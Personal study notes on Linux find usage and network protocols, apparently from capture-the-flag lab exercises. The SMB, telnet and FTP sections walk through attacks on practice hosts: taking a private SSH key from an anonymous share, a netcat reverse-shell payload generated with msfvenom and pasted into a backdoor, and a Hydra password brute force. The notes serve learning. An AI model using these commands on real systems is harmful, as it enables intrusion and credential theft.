Cyber Notes

Quin Darcy

May, 24 2021

Contents

1 Linux Fundamentals

1.1 Using Find

The find command is very powerful! This command allows you to quickly search across the entire filesystem. The syntax of the find command can be broken down as *find where what*. Here are some examples:

Example 1.1. Find all files whose name ends with ".xml"

find / -type f -name "*.xml"

Example 1.2. Find all the files in the /home directory whose name is "user.txt" (case insensitive)

find /home -type f -iname user.txt

Example 1.3. Find all directories whose name contains the word "exploits"

find / -type d -name "*exploits*"

Example 1.4. Find all the files owned by the user "kittycat"

find / -type f -user kittycat

Example 1.5. Find all the files that are exactly 15- bytes in size

find / -type f -size 150c

Example 1.6. Find all the files in the home directory with size less than 2KiB and extension ".txt"

find /home -type f -size -2k -name "*.txt"

Example 1.7. Find all the files that are exactly readable and writeable by the owner, and only readable by everyone else (use octal format)

find / -type f -perm 644

Example 1.8. Find all the files with write permissions for the group "others", regardless of any other permissions, with extension ".sh" (use symbolic format)

find / -type f -perm -o=w -name "*.sh"

Example 1.9. Find all the files that were not accessed in the last 10 days with the extension ".png"

find / -type f -atime +10 -name "*.png"

2 Network Protocols

A network protocol includes all the rules and conventions for communication between network devices, including ways devices can identify and make connections with each other. There are also formatting rules that specify how data is packaged into sent and received messages.

Without protocols, devices would lack the ability to understand the electronic signals they send to each other over network connections.

2.1 SMB

SMB (Server Message Block Protocol) is a client-server communication protocol used for sharing access to files, printers, serial ports, and other resources on a network. This protocol allows users to communicate with remote computers and servers, in order to use their resources, open, and edit files. It is also referred to as the server-client protocol since the server has a resource which it can share with the client.

At the user level, SMB authentication requires a username and password to allow access to the server. The SMB protocol is known as a response-request protocol, meanind that it transmits multiple messages between client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002).

Once a connection is established, the client can send commands (SMBs) to the server that allow them access to shares (shared file system), open, read, and write files. Both Microsoft Windows and Unix (Samba) support SMB protocol.

Example 2.1. In this example, we will look at one way to exploit the SMB protocol. This exploitation will rely upon a common misconfiguration in the system which allows anonymous share access. After gaining this access, we will obtain a shell.

We will be using 3 tools in this example:

1. **nmap** – We will use nmap to begin our enumeration (creating a map of the target's network). Specifically, we will be conducting a port scan of all ports (command: -p-). Along side the port scan, we will be running an OS detection (command: -O), version detection (command: -sV), and traceroute (command: –traceroute). The command which deploys all of these functions together is -A.

2. **Enum4Linux** Enum4Linux is a tool used to enumerate SMB shares on both Windows and Linux systems. It is basically a wrapper around the tools in the Samba package and makes it easy to quickly extract information from the target pertaining to SMB.

   Some common commands with this tool are getting userlist (command: -U), get machine list (command: -M), get namelist dump (command: -N), get sharelist (command: -S), get password policy information (command: -P), get group and member list (command: -G), all of the above (-A).

3. **SMBClient** SMBClient that is part of the Samba software suite. It communicates with a LAN Manager server, offering an interface similar to that of the ftp program.

We can remotely access the SMB share using the syntax: smbclient //[IP]/[SHARE] -<tag>. Some common tags (or commands) are to specify the user (command: -U [name]), to specify the port (command: -p [port]).

We are assuming that we know our target's IP address, 10.10.2.195. After conducting our port scan with: nmap -A -vv 10.10.2.195, we find that the target has 3 open ports. The port that SMB is running on is: **139/445**.

Now, after running: enum4linux -A 10.10.2.195, we get that the workgroup name is: **WORKGROUP**. The name of the machine is: **POLOSMB**. The version of the operating system being run is: **6.1**. An interesting looking share is called: **profiles**, which is described as "User Profriles".

Now that we have the name of our share, we can test to see if it is configured to allow anonymous access. In other words, by typing:

smbclient//10.10.2.195/profiles -U Anonymous -p 445

we are prompted to enter a password, in which we do not enter one and instead just hit ENTER. We are in! After entering this server we see one file that sticks out: "Working From Home Information.txt". Interesting. Running the command **more** before the file name, it opens and we see that it is an email to an employee named John Cactus. The email essentially says that John will be using ssh to login to his computer remotely. Ah hah, looking back at the contents of the directory, we see that there is a directory named **.ssh**. This directory contains a file called **id_rsa** which has John's private RSA key.

We can download this file onto our local machine by running **mget id_rsa**. Once we are back into our local machine, we need to change the permissions of this new file. We'll change it to 600 so that we can read and write. It was not mentioned before, but in our enum4linux command, we saw that there was a user with the username: **cactus**. With the username, IP, and RSA keys, we can know login as John onto his machine!

Running the following command: **ssh -i id_rsa cactus@10.10.2.195**, we obtain access to the main server that John logs onto when at work.

2.2 Telnet

Telnet is an application protocol which allows you, with the use of a telnet client, to connect to and execute on a remote machine that's hosting a telnet server.

The user connects to the server by using the Telnet protocol, which means entering **telnet** into a command prompt. The user then executes commands on the server by specific Telnet commands in the Telnet prompt. You can connect to a telnet server with the following syntax: **telnet** [**IP**] [**PORT**].

Example 2.2. In this example, we will find that after doing an nmap scan, there is one port open on our target's machine (10.10.234.253). Port 8012. This port is using the TCP protocol. We will try using the telnet command on this port.

After running our nmap scan, we also come to find that this port is titled: **Skidies Backdoor** and from this we can assume there is a user with username **Skidy**.

We run: **telnet 10.10.234.253 8012** and are met with the welcome message: **SKIDY'S BACKDOOR**. However, we do not appear to be able to run any commands. To investigate this, we will be using a tool called **tcpdump**. This prints out a description of the contents

on a network interface that match the Boolean expression; the description is preceeded by a time stamp, printed, by default, as hours, minutes, seconds, and so on. Upon completion, tcpdump will report counts of packets **captured**, packets **received by filter**, and packets **dropped by kernel**. We will be listening specifically for ICMP traffic, which pings operate on.

To be more precise, what we are going to do is open up another terminal, run **sudo tcpdump ip proto \\icmp -i eth0**. This starts a tcpdump listener. Then in our previous terminal where in which we are logged onto the telnet server, we will run **.RUN ping [local IP] -c 1**. This essentially sends a ping request to our local machine, the one which we have tcpdump listening for ping requests. Doing this, we see that we do in fact receive the ping! This tells us that we are able to execute system commands and reach our local machine.

With this ability, we are going to try and generate a reverse shell payload using msfvenom. **MsfVenom** is a payload generator. It will generate and encode a netcat reverse shell for us. The syntax will be:

msfvenom -p cmd/unix/reverse_netcat lhost=[local eth0 ip] lport=4444 R.

Here the **-p=payload**, **lhost=your machine's IP**, **lport=the port to listen to**, and **R=export the payload in raw format**.

Note that this command will be run on your local machine. Doing so we get the following generated payload:

mkfifo /tmp/ykjn; nc 10.10.1.63 4444 0</tmp/ykjn | /bin/sh > /tmp/ykjn 2>&1; rm /tmp/ykjn

Now we start a netcat listener on our machine by using the command:

nc -lvp 4444. Finally, we just need to copy and paste our payload into the telnet session!

After doing that, we are notified on our machine that the connection was received. And we can now have a shell from their machine on our machine. Doing a simple **ls** reveals the .txt file which contains our flag.

2.3 FTP

File Transfer Protocol. This protocol is used to allow remote transfer of files over a network. It uses a client-server model to do this, and relays commands and data in a very efficient way. The standard FTP port is 21.

The FTP server may support either Active or Passive connetions, or both.

1. In an Active FTP connection, the client opens a port and listens. The server is required to actively connect to it.

2. In a Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.

This separation of command information and data into separate channels is a way of being able to send commands to the server without having to wait for the current data transfer to finish.

We are going to be exploiting an anaymous FTP login, to see what files we can access– and if they contain any information that might alow us to pop a shell on the system. This

is a comman pathway in CTF challenges, and mimics a real-life careless implementation of FTP servers.

As we're going to be logging into an FTP server, we're going to need to make sure there is an ftp client installed on the system. There should be one installed by default on most Linux operating systems, such as Kali or Parrot.

Example 2.3. In running an nmap scan on our victim, we find that they have 2 open ports. Port 21 is running an FTP variant **vsftpd**. This stands for **very secure FTP daemon**. It is an FTP server for Unix-like systems, including Linux.

To check to see if we can login anonymously, we simply run **ftp [IP]** and entering **anonymous** as the username, and entering nothing when propted for a password. In this case, it works – the server allows anoymous access!

Listing the contents of the directory, there is a file **PUBLIC_NOTICE.txt**, the message in this file is signed by a person named Mike. So perhaps a username might be **mike**.

Similar to Telnet, when using FTP, both the command and data channels are unencrypted. Any data sent over these channels can be intercepted and read as plaintext.

The exploit method we will use is a **bruteforce** password attack of the FTP server. The tool we will use for this exploit is **Hydra**.

Hydra is a very fast online password cracking tool, which can perform rapid dictionary attacts against more that 50 Protocols. The sytax for the command we will run is

hydra -t -4 -l [UNAME] -P /path/to/wordlist -vV [IP] [protocol]

Running this command, we come to find that Mike's password is **password**. What a fucking idiot. Now launching our ftp client, we can login as mike with password password and boom! We're in.

2.4 NFS

NFS stands for **Network File System** and allows a system to share directories and files with others over a network. By using NFS, users and programs can access files on remote systems almost as it they were local files. It does this by mounting all, or a portion of a file system on a server. The portion of the file system that is mounted can be accessed by clients.

First, the client will request to mount a directory from a remote host on a local directory just the same way it can mount a physical device. The mount service will then act as to connect to the relevant mount daemon using RPC.

The server checks if the user has permission to mount whatever directory was requested. It will then return a file handlewhich uniquely identifies each file and directory that is on the server.

If someone wants to access a file using NFS, an RPC call is placed to NSFD (NSF Daemon) on the server. This call takes parameters:

- The file handle
- The name of the file to be accessed

- The user's user ID
- The user's group ID

These are used in determining access writes to the specified file.

3 MISC.

3.1 Mounting

Mounting is a process by which the operating system makes files and directories on a storage device availible for users to access. In general, the process of mounting comprises the operating system acquiring access to the storage medium; recognizing, reading, and processing file system structure and metadata on it before registering them to the virtual file system (VFS) component. The location in VFS that the mounted medium was registered is called **mount point**.

A mount point is a location in the partition used as a root filesystem.

3.2 RPC

This stands for **Remote Procedure Call Protocol** and it is a library of procedures which allows one process (the client process) to direct another process (the server process) to run procedure calls as if the client process had run the calls in its own address space.